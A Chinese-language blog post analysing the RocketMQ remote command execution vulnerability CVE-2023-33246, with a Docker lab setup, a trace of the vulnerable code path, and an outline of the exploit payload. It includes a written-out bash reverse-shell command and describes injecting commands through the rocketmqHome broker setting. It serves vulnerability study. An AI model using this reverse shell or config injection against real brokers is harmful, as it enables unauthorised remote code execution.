一文学会RocketMQ远程命令执行漏洞(CVE-2023-33246)
本文首发于FreeBuf https://www.freebuf.com/articles/web/367614.html
1.了解RocketMQ
RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件
下面画个图简单理解一下RocketMQ的消息收发模型
与漏洞相关的点:参考
- Broker节点启动后会在NameServer节点进行注册。
- DefaultMQAdminExt类可以通过与 NameServer 交互来获取和修改相关配置信息。
- FilterServerManager类用于管理过滤服务器(Filter Server)的类。过滤服务器负责处理消息过滤规则的注册、更新和删除,以及消息过滤的评估和匹配。(产生漏洞的类)
2.环境搭建
参考RocketMQ 最新漏洞手把手复现 CVE-2023-33246
- docker 拉取镜像
1 | docker pull apache/rocketmq:4.9.1 |
- 启动NameServer
1 | docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.1 sh mqnamesrv |
- 创建一个broker配置文件 D:\Temp\conf\broker.conf
1 | brokerClusterName = DefaultCluster |
- 启动 Broker
1 | docker run -d -p 10911:10911 -p 10909:10909 -v D:/Temp/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf |
- 启动console
1 | docker run -dit --name mqconsole -p 8080:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=mqsrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0 |
访问http://127.0.0.1:8080/
使用CVE-2023-33246漏洞利用工具攻击一下试试
1 | java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "bash -i >& /dev/tcp/host.docker.internal/9999 0>&1" |
收到反弹的shell
3.漏洞分析
参考:https://mp.weixin.qq.com/s/1GIATpldq29cVTR6Rw\_DTw
参考:https://xz.aliyun.com/t/12589
我们通过查看漏洞的补丁,发现FilterServerManager和FilterServerUtil整个文件都被删除了
下载其上一个版本的代码,来分析一下漏洞产生的原因
首先查看被删除的两个文件
1 | public class FilterServerUtil { |
在FilterServerUtil类的callShell方法中使用了Runtime.getRuntime().exec(cmdArray)
执行系统命令,并且执行的命令来自该函数的形参shellString
这样的话,如果找到一条调用链可以调用到callShell方法,并且参数可控,就可以造成RCE
在FilterServerManager的createFilterServer()中调用了callShell方法
1 | public void createFilterServer() { |
createFilterServer方法调用了callShell方法执行命令
createFilterServer方法做了三件事:
- 获取配置计算了一个int型变量
more
- 调用
buildStartCommand()
构造一个需要执行的命令的字符串 - 当
more
大于0时,调用了callShell
方法执行命令
1 | private String buildStartCommand() { |
在**buildStartCommand()**中有问题的是String.format("sh %s/bin/startfsrv.sh %s", this.brokerController.getBrokerConfig().getRocketmqHome(),config);
这一部分
这句代码的作用是获取配置中的RocketmqHome
,然后替换掉sh %s/bin/startfsrv.sh %s
的第一个%s
如果我们能控制配置中的RocketmqHome
,那么就可以拼接上前面的sh
,执行任意命令
给出漏洞的调用链:FilterServerManager.start() --> FilterServerManager.createFilterServer() --> FilterServerUtil.callShell(cmd, log)
4.构造payload
分析完漏洞的原理后,我们来尝试构造payload,通过上面我们得知,
利用漏洞的重要条件是可以控制配置中的RocketmqHome
在第一小节我们了解到DefaultMQAdminExt类可以通过与 NameServer 交互来获取和修改相关配置信息。
DefaultMQAdminExt类的updateBrokerConfig
方法可以更新Broker的配置,需要传一个Broker的地址和一个Properties类型的参数
那么,我们构造payload可以分三步
- 创建 Properties 对象
- 设置
rocketmqHome
配置,为我们拼接任意命令使用 - 设置
filterServerNums
配置,要使得more=filterServerNums-filterServerTable.size
大于0
- 设置
- 创建DefaultMQAdminExt 对象
- 更新配置⽂件
1 | public static void main(String[] args) throws Exception { |
关于反弹shell的写法可以参照这位大佬